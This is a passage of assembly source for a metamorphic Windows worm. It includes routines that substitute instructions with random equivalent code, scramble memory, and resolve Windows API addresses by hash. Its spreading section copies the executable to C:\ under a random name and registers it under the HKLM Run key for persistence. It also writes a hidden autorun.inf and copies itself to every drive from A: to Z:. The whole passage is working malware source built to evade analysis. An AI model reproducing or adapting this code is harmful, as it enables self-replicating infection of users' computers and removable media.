parameters and compare output ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Substitute original command with equivalent commands ; ##### SubstituteCommand: ; In: ecx=command number ; qword[RandomCode] ... random code which will substitute the original one cc rNoEmul, pushad cc rNoRes, push, ecx cc rNoEmul, call, CloseRandomFile ; With read protection-flag cc rNoEmul, call, OpenRandomFileWrite ; With write protection-flag cc rC, pop, ecx cc rCD, xor, edx, edx cc rAD, mov, eax, ecx cc rABD, mov, ebx, 8 cc rA, mul, ebx ; EDX:EAX=EAX*EBX=Command Number*8 cc rAS, mov, esi, RandomCode cc rSI, mov, edi, eax cc rSI, add, edi, dword[WormCodeStart] cc rASI, mov, eax, dword[esi] cc rSI, mov, dword[edi], eax cc rASI, mov, eax, dword[esi+4] cc rSI, mov, dword[edi+4], eax cc rNoEmul, call, CloseRandomFile ; With write protection-flag cc rNoEmul, call, OpenRandomFileRead ; With read protection-flag cc rNoEmul, popad cc rNoEmul, jmp, SubstituteCommandEnd ; ##### ; ##### Substitute original command with equivalent commands ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Mirroring/Restoring the stack/memory ; ##### MirrorTheStack: cc rP, pop, ebp ; The only different thing ; should the the current return value cc rNoRes, mov, dword[tmpRetVal], ebp cc rNoRes, push, tmpMemProtection cc rNoRes, push, PAGE_READWRITE cc rNoRes, push, dword[hStackSize] cc rNoRes, push, dword[hStackMirror] cc rNoEmul, stdcall, dword[_VirtualProtect] ; Write Protection Flag cc rA, mov, eax, dword[hStackMirror] cc rAD, mov, edx, dword[hStackSize] ; Size of stack cc rADS, mov, esi, dword[hStackStart] ; Start of stack cc rADSI, mov, edi, eax ; VirtualMemory for Stack cc rCDSI, xor, ecx, ecx MirrorTheStackMore: cc rACDSI, mov, eax, dword[esi] cc rACDSI, mov, dword[edi], eax cc rCDSI, add, edi, 4 cc rCDSI, add, esi, 4 cc rCDSI, add, ecx, 4 cc rCDSIF, cmp, ecx, edx cc rNoEmul, jb, MirrorTheStackMore cc rNoRes, push, tmpMemProtection cc rNoRes, push, PAGE_READONLY cc rNoRes, push, dword[hStackSize] cc rNoRes, push, dword[hStackMirror] cc rNoEmul, stdcall, dword[_VirtualProtect] ; Protect it! cc rP, mov, ebp, dword[tmpRetVal] cc rNoRes, push, ebp ; Current return-value cc rNoEmul, ret RestoreTheStack: cc rP, pop, ebp ; The only different thing ; should the the current return value cc rDP, mov, edx, dword[hStackSize] ; Size of stack cc rDPS, mov, esi, dword[hStackMirror] ; VirtualMemory for Stack cc rDPSI, mov, edi, dword[hStackStart] ; Start of Stack cc rCDPSI, xor, ecx, ecx RestoreTheStackMore: cc rACDPSI, mov, eax, dword[esi] cc rCDPSI, mov, dword[edi], eax cc rCDPSI, add, edi, 4 cc rCDPSI, add, esi, 4 cc rCDPSI, add, ecx, 4 cc rCDPSIF, cmp, ecx, edx cc rNoEmul, jb, RestoreTheStackMore cc rNoRes, push, ebp ; Current return-value cc rNoEmul, ret RestoreTheMemory: cc rC, xor, ecx, ecx cc rC, mov, dword[tmpMemProtection], ecx cc rCS, mov, esi, dword[hDataMirror] cc rCSI, mov, edi, DataStart RestoreTheMemoryMore: cc rACSI, mov, eax, dword[esi] cc rCSI, mov, dword[edi], eax cc rCSI, add, esi, 4 cc rCSI, add, edi, 4 cc rCSI, add, ecx, 4 cc rCSIF, cmp, ecx, (DataEnd-DataStart) cc rNoEmul, jb, RestoreTheMemoryMore cc rA, xor, eax, eax cc rNoRes, mov, dword[tmpMemProtection], eax cc rNoEmul, ret MirrorTheMemory: cc rBCDPSIF, mov, dword[tmpDWA], eax cc rBDPSIF, mov, dword[tmpDWC], ecx cc rNoEmul, pushfd cc rBCDPSIF, pop, ecx ; ecx=flags cc rBCDPSIF, pop, dword[tmpDWB] ; Return address ; There could be 8 pop, or push cc rBCDPSIF, pop, dword[tmpDW1] ; 1st cc rBCDPSIF, pop, dword[tmpDW2] ; 2nd cc rBCDPSIF, pop, dword[tmpDW3] ; 3nd cc rBCDPSIF, pop, dword[tmpDW4] ; 4nd cc rBCDPSIF, pop, dword[tmpDW5] ; 5st cc rBCDPSIF, pop, dword[tmpDW6] ; 6nd cc rBCDPSIF, pop, dword[tmpDW7] ; 7nd cc rBCDPSIF, pop, dword[tmpDW8] ; 8nd cc rNoEmul, call, GetRandomNumber cc rABCDPSIF,mov, eax, dword[RandomNumber] cc rBCDPSIF, push, eax cc rNoEmul, call, GetRandomNumber cc rABCDPSIF,mov, eax, dword[RandomNumber] cc rBCDPSIF, push, eax cc rNoEmul, call, GetRandomNumber cc rABCDPSIF,mov, eax, dword[RandomNumber] cc rBCDPSIF, push, eax cc rNoEmul, call, GetRandomNumber cc rABCDPSIF,mov, eax, dword[RandomNumber] cc rBCDPSIF, push, eax cc rNoEmul, call, GetRandomNumber cc rABCDPSIF,mov, eax, dword[RandomNumber] cc rBCDPSIF, push, eax cc rNoEmul, call, GetRandomNumber cc rABCDPSIF,mov, eax, dword[RandomNumber] cc rBCDPSIF, push, eax cc rNoEmul, call, GetRandomNumber cc rABCDPSIF,mov, eax, dword[RandomNumber] cc rBCDPSIF, push, eax cc rNoEmul, call, GetRandomNumber cc rABCDPSIF,mov, eax, dword[RandomNumber] cc rBCDPSIF, push, eax cc rBCDPSIF, push, dword[tmpDWB] cc rABCDPSIF,mov, eax, dword[tmpDWA] cc rABCDPSIF,push, ecx ; ecx=flags -> pushfd cc rABCDPSIF,mov, ecx, dword[tmpDWC] cc rNoEmul, pushad cc rNoEmul, call, CreateRandomizedData cc rNoRes, push, tmpMemProtection cc rNoRes, push, PAGE_READWRITE cc rNoRes, push, (DataEnd-DataStart) cc rNoRes, push, dword[hDataMirror] cc rNoEmul, stdcall, dword[_VirtualProtect] cc rA, xor, eax, eax cc rNoRes, mov, dword[tmpMemProtection], eax cc rC, xor, ecx, ecx cc rCS, mov, esi, DataStart cc rCSI, mov, edi, dword[hDataMirror] MirrorTheMemoryMore: cc rACSI, mov, eax, dword[esi] cc rCSI, mov, dword[edi], eax cc rCSI, add, esi, 4 cc rCSI, add, edi, 4 cc rCSI, add, ecx, 4 cc rCSIF, cmp, ecx, (DataEnd-DataStart) cc rNoEmul, jb, MirrorTheMemoryMore cc rNoRes, push, tmpMemProtection cc rNoRes, push, PAGE_READONLY cc rNoRes, push, (DataEnd-DataStart) cc rNoRes, push, dword[hDataMirror] cc rNoEmul, stdcall, dword[_VirtualProtect] cc rA, xor, eax, eax cc rNoRes, mov, dword[tmpMemProtection], eax cc rC, xor, ecx, ecx cc rCS, mov, esi, dword[hRandomizedData] cc rCSI, mov, edi, DataStart MirrorTheMemoryWriteRandomStuff: cc rACSI, mov, eax, dword[esi] cc rCSI, mov, dword[edi], eax cc rCSI, add, esi, 4 cc rCSI, add, edi, 4 cc rCSI, add, ecx, 4 cc rCSIF, cmp, ecx, (DataEnd-DataStart) cc rNoEmul, jb, MirrorTheMemoryWriteRandomStuff cc rNoEmul, popad cc rNoEmul, popfd cc rNoEmul, ret CreateRandomizedData: cc rNoRes, push, tmpMemProtection cc rNoRes, push, PAGE_READWRITE cc rNoRes, push, (DataEnd-DataStart) cc rNoRes, push, dword[hRandomizedData] cc rNoEmul, stdcall, dword[_VirtualProtect] cc rC, xor, ecx, ecx cc rCI, mov, edi, dword[hRandomizedData] CreateRandomizedDataMore: cc rNoEmul, call, GetRandomNumber cc rACI, mov, eax, dword[RandomNumber] cc rCI, mov, dword[edi], eax cc rCI, add, edi, 4 cc rCI, add, ecx, 4 cc rCIF, cmp, ecx, (DataEnd-DataStart) cc rNoEmul, jb, CreateRandomizedDataMore cc rA, mov, eax, dword[hDataMirror] cc rAC, mov, ecx, (hDataMirror-DataStart) cc rACI, mov, edi, dword[hRandomizedData] cc rAI, mov, dword[edi+ecx], eax cc rACI, mov, ecx, (hDataMirror1-DataStart) cc rAI, mov, dword[edi+ecx], eax cc rACI, mov, ecx, (hDataMirror2-DataStart) cc rI, mov, dword[edi+ecx], eax cc rAI, mov, eax, dword[tmpAddress1] cc rACI, mov, ecx, (tmpAddress-DataStart) cc rAI, mov, dword[edi+ecx], eax cc rACI, mov, ecx, (tmpAddress1-DataStart) cc rAI, mov, dword[edi+ecx], eax cc rACI, mov, ecx, (tmpAddress2-DataStart) cc rI, mov, dword[edi+ecx], eax cc rAI, mov, eax, dword[hTempAlloc1] cc rACI, mov, ecx, (hTempAlloc1-DataStart) cc rAI, mov, dword[edi+ecx], eax cc rACI, mov, ecx, (hTempAlloc2-DataStart) cc rI, mov, dword[edi+ecx], eax cc rAI, mov, eax, dword[hRandomizedData] cc rACI, mov, ecx, (hRandomizedData-DataStart) cc rAI, mov, dword[edi+ecx], eax cc rACI, mov, ecx, (hRandomizedData1-DataStart) cc rNoRes, mov, dword[edi+ecx], eax cc rNoRes, push, tmpMemProtection cc rNoRes, push, PAGE_READONLY cc rNoRes, push, (DataEnd-DataStart) cc rNoRes, push, dword[hRandomizedData] cc rNoEmul, stdcall, dword[_VirtualProtect] cc rNoEmul, ret ; ##### ; ##### Mirroring/Restoring the memory ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Find addresses of APIs ; ##### GetAllAPIAddresses: cc rA, mov, eax, "kern" cc rNoRes, mov, dword[_DLLkernel32+0x00], eax cc rA, mov, eax, "el32" cc rNoRes, mov, dword[_DLLkernel32+0x04], eax cc rA, mov, eax, ".dll" cc rNoRes, mov, dword[_DLLkernel32+0x08], eax cc rA, mov, eax, APIMagicNumbersKernel32 cc rNoRes, mov, dword[APICurrentMagicNum], eax cc rA, mov, eax, APINumbersKernel cc rNoRes, mov, dword[APICurrentNumber], eax cc rA, mov, eax, APIAddressesKernel cc rNoRes, mov, dword[APICurrentAddress], eax cc rNoRes, push, _DLLkernel32 cc rNoEmul, stdcall, dword[LoadLibrary] cc rNoRes, mov, dword[hDLLkernel32], eax cc rNoEmul, call, FindAPIsInLibrary cc rA, mov, eax, "adva" cc rNoRes, mov, dword[_DLLadvapi32+0x00], eax cc rA, mov, eax, "pi32" cc rNoRes, mov, dword[_DLLadvapi32+0x04], eax cc rA, mov, eax, ".dll" cc rNoRes, mov, dword[_DLLadvapi32+0x08], eax cc rA, mov, eax, APIMagicNumbersAdvapi32 cc rNoRes, mov, dword[APICurrentMagicNum], eax cc rA, mov, eax, APINumbersAdvapi cc rNoRes, mov, dword[APICurrentNumber], eax cc rA, mov, eax, APIAddressesAdvapi cc rNoRes, mov, dword[APICurrentAddress], eax cc rNoRes, push, _DLLadvapi32 cc rNoEmul, stdcall, dword[LoadLibrary] cc rNoRes, mov, dword[hDLLkernel32], eax cc rNoEmul, call, FindAPIsInLibrary cc rA, mov, eax, dword[_VirtualAlloc] cc rNoRes, mov, dword[_VirtualAlloc1], eax cc rA, mov, eax, dword[_VirtualProtect] cc rNoRes, mov, dword[_VirtualProtect1], eax cc rNoEmul, ret FindAPIsInLibrary: ; In: eax = handle to DLL cc rAB, mov, ebx, dword[eax+0x3C] cc rAB, add, ebx, eax ; relative -> absolut cc rAB, mov, dword[hKernelPE], ebx cc rAS, mov, esi, dword[ebx+0x78] cc rAS, add, esi, eax ; relative -> absolut cc rAS, add, esi, 0x1C cc rABS, mov, ebx, dword[esi] cc rABS, add, ebx, eax cc rAS, mov, dword[hAddressTable], ebx cc rAS, add, esi, 0x4 cc rABS, mov, ebx, dword[esi] cc rABS, add, ebx, eax ; relative -> absolut cc rAS, mov, dword[hNamePointerTable], ebx cc rAS, add, esi, 0x4 cc rABS, mov, ebx, dword[esi] cc rABS, add, ebx, eax ; relative -> absolut cc rAS, mov, dword[hOrdinalTable], ebx cc rS, mov, esi, dword[hNamePointerTable] cc rSI, mov, edi, dword[APICurrentAddress] cc rDSI, mov, edx, dword[APICurrentMagicNum] cc rDSI, sub, esi, 4 cc rDPSI, xor, ebp, ebp cc rDPSI, dec, ebp cc rCDPSI, xor, ecx, ecx FindAPIsInLibraryGetNextAPI: cc rNoEmul, pushad FindAPIsInLibraryNext: cc rDPSI, inc, ebp cc rDPSI, add, esi, 4 cc rBDPSI, mov, ebx, dword[esi] cc rBDPSI, add, ebx, dword[hDLLkernel32] cc rNoEmul, call, FindAPIGiveMeTheHash cc rADPSIF, cmp, eax, dword[edx] cc rNoEmul, jne, FindAPIsInLibraryNext cc rPSI, mov, esi, ebp ; coutner cc rPSI, shl, esi, 0x1 ; esi*=2 cc rPSI, add, esi, dword[hOrdinalTable] ; esi=Pointer to ordinal table cc rBPSI, xor, ebx, ebx ; ebx=0 cc rBPSI, mov, ebx, dword[esi] ; bx=Ordinal cc rBPSI, and, ebx, 0xFFFF cc rBPSI, shl, ebx, 0x2 ; ebx=Ordinal*4 cc rBPSI, add, ebx, dword[hAddressTable] ; ebx=Pointer to Address of API cc rBPSI, mov, ebx, dword[ebx] cc rBPSI, add, ebx, dword[hDLLkernel32] ; relative -> absolut cc rPSI, mov, dword[edi], ebx cc rNoEmul, popad cc rCDPSI, inc, ecx cc rCDPSI, add, edi, 4 cc rCDPSI, add, edx, 4 cc rCDPSIF, cmp, ecx, dword[APICurrentNumber] cc rNoEmul, jb, FindAPIsInLibraryGetNextAPI cc rNoEmul, ret FindAPIGiveMeTheHash: ; In: ebx=pointer to API name ; Out: eax=Hash (in ax) ; changed: eax ; mov, ebx, apistr cc rBCDPSI, push, ebx cc rBDPSI, push, ecx cc rBPSI, push, edx cc rABPSI, xor, eax, eax cc rABCPSI, xor, ecx, ecx cc rABCPSI, dec, ebx FindAPIGiveMeTheHashMore: cc rABCPSI, xor, eax, ecx cc rABCPSI, inc, ebx cc rABCPSI, mov, ecx, dword[ebx] cc rABCDPSI, mov, edx, ecx ; ecx=nooo - n ... new byte cc rABCDPSI, shr, edx, 24 ; edx=000n ... new byte cc rABCDPSIF, cmp, dl, 0 ; dl=n cc rNoEmul, jne, FindAPIGiveMeTheHashMore cc rABPSI, sub, al, byte[ebx+0] cc rABPSI, add, ah, byte[ebx+1] cc rABPSI, xor, al, byte[ebx+2] cc rAPSI, and, eax, 0xFFFF cc rADPSI, pop, edx cc rACDPSI, pop, ecx cc rABCDPSI, pop, ebx cc rNoEmul, ret ; ##### ; ##### Find addresses of APIs ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Spreading part ; ##### CopyFileAndRegEntry: cc rS, xor, esi, esi CopyFileAndRegEntryMore: cc rBS, mov, ebx, 26 cc rBCS, mov, ecx, 97 cc rNoEmul, call, CreateSpecialRndNumber cc rS, mov, byte[RandomFileName+esi], dl cc rS, inc, esi cc rSF, cmp, esi, 8 cc rNoEmul, jb, CopyFileAndRegEntryMore cc rA, mov, eax, ".exe" cc rNoRes, mov, dword[RandomFileName+esi], eax cc rA, mov, al, "C" cc rNoRes, mov, byte[SpaceForHDC+1], al cc rA, mov, al, ":" cc rNoRes, mov, byte[SpaceForHDC+2], al cc rA, mov, al, "\" cc rNoRes, mov, byte[SpaceForHDC+3], al cc rNoRes, push, FALSE cc rNoRes, push, SpaceForHDC+1 cc rNoRes, push, dword[hMyFileName] cc rNoEmul, stdcall, dword[_CopyFileA] ; Encrypted representation of "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ; Will be a very good surface for this morphism cc rA, mov, eax, stKey cc rAB, mov, ebx, "SOFT" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "WARE" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "\Mic" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "roso" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "ft\W" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "indo" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "ws\C" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "urre" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "ntVe" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "rsio" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, ebx, "n\Ru" cc rA, mov, dword[eax], ebx cc rA, add, eax, 0x4 cc rAB, mov, bl, "n" cc rA, mov, byte[eax], bl cc rNoRes, push, 0x0 cc rNoRes, push, hKey cc rNoRes, push, 0x0 cc rNoRes, push, KEY_ALL_ACCESS cc rNoRes, push, REG_OPTION_NON_VOLATILE cc rNoRes, push, 0x0 cc rNoRes, push, 0x0 cc rNoRes, push, stKey cc rNoRes, push, HKEY_LOCAL_MACHINE cc rNoEmul, stdcall, dword[_RegCreateKeyExA] cc rNoRes, push, 16 cc rNoRes, push, SpaceForHDC+1 cc rNoRes, push, REG_SZ cc rNoRes, push, 0x0 cc rNoRes, push, 0x0 cc rNoRes, push, dword[hKey] cc rNoEmul, stdcall, dword[_RegSetValueExA] cc rNoRes, push, dword[hKey] cc rNoEmul, stdcall, dword[_RegCloseKey] cc rNoEmul, call, OpenRandomFileRead cc rA, xor, eax, eax cc rA, add, eax, "X:\a" cc rNoRes, mov, dword[stAutorunWithDrive], eax cc rA, mov, eax, "\aut" cc rNoRes, mov, dword[stAutorunWithDrive+2], eax cc rA, mov, eax, "orun" cc rNoRes, mov, dword[stAutoruninf+3], eax cc rA, mov, eax, ".inf" cc rNoRes, mov, dword[stAutoruninf+7], eax cc rA, mov, eax, "[Aut" cc rNoRes, mov, dword[stAutoRunContent], eax cc rA, mov, eax, "orun" cc rNoRes, mov, dword[stAutoRunContent+0x04], eax cc rA, mov, eax, 0x530A0D5D cc rNoRes, mov, dword[stAutoRunContent+0x08], eax cc rA, mov, eax, "hell" ; !!!!!!! cc rNoRes, mov, dword[stAutoRunContent+0x0C], eax cc rA, mov, eax, "Exec" cc rNoRes, mov, dword[stAutoRunContent+0x10], eax cc rA, mov, eax, "ute=" cc rNoRes, mov, dword[stAutoRunContent+0x14], eax cc rA, mov, eax, dword[RandomFileName] ; Filename: XXXXxxxx.exe cc rNoRes, mov, dword[stAutoRunContent+0x18], eax cc rA, mov, eax, dword[RandomFileName+0x4] ; Filename: xxxxXXXX.exe cc rNoRes, mov, dword[stAutoRunContent+0x1C], eax cc rA, mov, eax, ".exe" cc rNoRes, mov, dword[stAutoRunContent+0x20], eax cc rA, mov, eax, 0x73550A0D cc rNoRes, mov, dword[stAutoRunContent+0x24], eax cc rA, mov, eax, "eAut" cc rNoRes, mov, dword[stAutoRunContent+0x28], eax cc rA, mov, eax, "opla" cc rNoRes, mov, dword[stAutoRunContent+0x2C], eax cc rA, mov, eax, 0x00313D79 cc rNoRes, mov, dword[stAutoRunContent+0x30], eax ; i like that coding style, roy g biv! :)) cc rNoRes, push, 51 cc rNoRes, push, 0x0 cc rNoRes, push, 0x0 cc rNoRes, push, FILE_MAP_ALL_ACCESS cc rNoRes, push, 0x0 cc rNoRes, push, 51 cc rNoRes, push, 0x0 cc rNoRes, push, PAGE_READWRITE cc rNoRes, push, 0x0 cc rNoRes, push, 0x0 cc rNoRes, push, FILE_ATTRIBUTE_HIDDEN cc rNoRes, push, OPEN_ALWAYS cc rNoRes, push, 0x0 cc rNoRes, push, 0x0 cc rNoRes, push, (GENERIC_READ or GENERIC_WRITE) cc rNoRes, push, stAutoruninf cc rNoEmul, stdcall, dword[_CreateFileA] cc rA, push, eax cc rNoRes, mov, dword[hCreateFileAR], eax cc rNoEmul, stdcall, dword[_CreateFileMappingA] cc rA, push, eax cc rNoRes, mov, dword[hCreateFileMappingAR], eax cc rNoEmul, stdcall, dword[_MapViewOfFile] cc rAC, xor, cl, cl cc rACS, mov, esi, stAutoRunContent MakeAutoRunInfoMore: cc rABCS, mov, bl, byte[esi] cc rACS, mov, byte[eax], bl cc rACS, inc, eax cc rACS, inc, esi cc rACS, inc, ecx cc rACSF, cmp, cl, 51 cc rNoEmul, jb, MakeAutoRunInfoMore cc rA, sub, eax, 51 cc rA, push, dword[hCreateFileAR] cc rA, push, dword[hCreateFileMappingAR] cc rA, push, eax cc rNoEmul, stdcall, dword[_UnmapViewOfFile] cc rNoEmul, stdcall, dword[_CloseHandle] cc rNoEmul, stdcall, dword[_CloseHandle] cc rA, mov, eax, "A:\." cc rNoEmul, mov, dword[SpaceForHDC2+1], eax cc rA, mov, eax, dword[RandomFileName] cc rNoEmul, mov, dword[RandomFileName2], eax ; XXXXxxxx.exe cc rA, mov, eax, dword[RandomFileName+0x04] cc rNoEmul, mov, dword[RandomFileName2+0x04], eax ; xxxxXXXX.exe cc rA, mov, eax, dword[RandomFileName+0x08] cc rNoEmul, mov, dword[RandomFileName2+0x08], eax ; .exe cc rNoEmul, ret SpreadThisKitty: cc rNoEmul, call, CloseRandomFile cc rA, mov, eax, 0x003A4100 ; 0x0, "A:", 0x0 cc rNoRes, mov, dword[SpaceForHDC2], eax STKAnotherRound: cc rNoRes, push, SpaceForHDC2+1 cc rNoEmul, stdcall, dword[_GetDriveTypeA] cc rAC, mov, cl, '\' cc rA, mov, byte[SpaceForHDC2+3],cl cc rAF, cmp, al, 0x2 cc rNoEmul, je, STKWithAutoRun cc rAF, cmp, al, 0x3 cc rNoEmul, je, STKWithoutAutoRun cc rAF, cmp, al, 0x4 cc rNoEmul, je, STKWithAutoRun cc rAF, cmp, al, 0x6 cc rNoEmul, je, STKWithAutoRun cc rNoEmul, jmp, STKCreateEntriesForNextDrive STKWithAutoRun: cc rNoRes, push, FALSE cc rNoRes, push, stAutorunWithDrive cc rNoRes, push, stAutoruninf cc rNoEmul, stdcall, dword[_CopyFileA] STKWithoutAutoRun: cc rNoRes, push, FALSE cc rNoRes, push, SpaceForHDC2+1 cc rNoRes, push, SpaceForHDC+1 cc rNoEmul, stdcall, dword[_CopyFileA] STKCreateEntriesForNextDrive: cc rA, xor, eax, eax cc rA, mov, al, byte[SpaceForHDC2+1] cc rAF, cmp, al, "Z" cc rNoEmul, je, SpreadThisKittyEnd cc rA, inc, al cc rA, mov, byte[SpaceForHDC2+1], al ; next drive cc rA, mov, byte[stAutorunWithDrive], al ; next drive cc rA, mov, byte[SpaceForHDC2+3], ah ; 0x0, "X:", 0x0 cc rNoEmul, jmp, STKAnotherRound SpreadThisKittyEnd: cc rNoEmul, call, OpenRandomFileRead cc rNoEmul, ret OpenRandomFileRead: cc rNoRes, push, 0x0 cc rNoRes, push, FILE_ATTRIBUTE_NORMAL cc rNoRes, push, OPEN_ALWAYS cc rNoRes, push, 0x0 cc rNoRes, push, 0x0 cc rNoRes, push, GENERIC_READ cc rNoRes, push, SpaceForHDC+1 cc rNoEmul, stdcall, dword[_CreateFileA] cc rNoRes, mov, dword[hCreateFileRndFile], eax cc rNoRes, push, dFileSize cc rNoRes, push, dword[hCreateFileRndFile] cc rNoEmul, stdcall, dword[_GetFileSize] cc rNoRes, mov, dword[dFileSize], eax cc rNoRes, push, 0x0 cc rNoRes, push, dword[dFileSize] cc rNoRes, push, 0x0 cc rNoRes, push, PAGE_READONLY cc rNoRes, push, 0x0 cc rNoRes, push, dword[hCreateFileRndFile] cc rNoEmul, stdcall, dword[_CreateFileMappingA] cc rNoRes, mov, dword[hCreateMapRndFile], eax cc rNoRes, push, dword[dFileSize] cc rNoRes, push, 0x0 cc rNoRes, push, 0x0 cc rNoRes, push, FILE_MAP_READ cc rNoRes, push, dword[hCreateMapRndFile] cc rNoEmul, stdcall, dword[_MapViewOfFile] cc rNoRes, mov, dword[hMapViewRndFile], eax cc rNoRes, cmp, eax, 0x0 cc rNoEmul, jne, OpenRandomFileReadNoProblem ; Potential problems while page file ; will be increased cc rNoEmul, call, CloseRandomFile cc rNoRes, push, 5000 cc rNoEmul, stdcall, dword[_Sleep] ; wait 5sec and try it again cc rNoEmul, jmp, OpenRandomFileRead OpenRandomFileReadNoProblem: cc rA, add, eax, CodeStartInFile cc rNoRes, mov, dword[WormCodeStart], eax cc rNoEmul, ret OpenRandomFileWrite: cc rNoRes, push, 0x0 cc rNoRes, push, FILE_ATTRIBUTE_NORMAL cc rNoRes, push, OPEN_ALWAYS cc rNoRes, push, 0x0 cc rNoRes, push, 0x0 cc rNoRes, push, GENERIC_READ or GENERIC_WRITE cc rNoRes, push, SpaceForHDC+1 cc rNoEmul, stdcall, dword[_CreateFileA] cc rNoRes, mov, dword[hCreateFileRndFile], eax cc rNoRes, push, dFileSize cc rNoRes, push, dword[hCreateFileRndFile] cc rNoEmul, stdcall, dword[_GetFileSize] cc rNoRes, mov, dword[dFileSize], eax cc rNoRes, push, 0x0 cc rNoRes, push, dword[dFileSize] cc rNoRes, push, 0x0 cc rNoRes, push, PAGE_READWRITE cc rNoRes, push, 0x0 cc rNoRes, push, dword[hCreateFileRndFile] cc rNoEmul, stdcall, dword[_CreateFileMappingA] cc rNoRes, mov, dword[hCreateMapRndFile], eax cc rNoRes, push, dword[dFileSize] cc rNoRes, push, 0x0 cc rNoRes, push, 0x0 cc rNoRes, push, FILE_MAP_WRITE cc rNoRes, push, dword[hCreateMapRndFile] cc rNoEmul, stdcall, dword[_MapViewOfFile] cc rA, mov, dword[hMapViewRndFile], eax cc rNoRes, cmp, eax, 0x0 cc rNoEmul, jne, OpenRandomFileWriteNoProblem ; Potential problems while page file ; will be increased cc rNoEmul, call, CloseRandomFile cc rNoRes, push, 5000 cc rNoEmul, stdcall, dword[_Sleep] ; wait 5sec and try it again cc rNoEmul, jmp, OpenRandomFileWrite OpenRandomFileWriteNoProblem: cc rA, add, eax, CodeStartInFile cc rNoRes, mov, dword[WormCodeStart], eax cc rNoEmul, ret CloseRandomFile: cc rNoRes, push, dword[hMapViewRndFile] cc rNoEmul, stdcall, dword[_UnmapViewOfFile] cc rNoRes, push, dword[hCreateMapRndFile] cc rNoEmul, stdcall, dword[_CloseHandle] cc rNoRes, push, dword[hCreateFileRndFile] cc rNoEmul, stdcall, dword[_CloseHandle] cc rNoEmul, ret EndPaddedCommands: ; ##### ; ##### Spreading part ; ##### ; ########################################################################### ; ########################################################################### hAnalyseBehaviourOfCode dd AnalyseBehaviourOfCode ; This value must be ; in a protected environment ; because the program has the ; will to self-destruct itself ; as soon as it has some freedom!!! ; ########################################################################### ; ########################################################################### ; ##### ; ##### Global BehaviourTable ; ##### ; Each Command has a 8bit value in the GBT ; GBT_Entry = X g f e d c b a ; a=1: EAX must have the same value ; b=1: EBX must have the same value ; c=1: ECX must have the same value ; d=1: EDX must have the same value ; e=1: EBP must have the same value ; f=1: ESI must have the same value ; g=1: EDI must have the same value ; X=1: Flags must have the same value ; ESP value must always be the same, therefore there is one bit left for Flags :)) ; Special feature: If GBT_Entry=10110101 -> no execution (jumps, rets, call, ...) GlobalBehaviourTable: ; Command1 db 10000011b ; Command2 db 00000011b db GlobalBehaviourTableList ; ##### ; ##### Global BehaviourTable ; ##### ; ########################################################################### ; ########################################################################### .end CodeStart ; "Dr." stands for "drunken" :)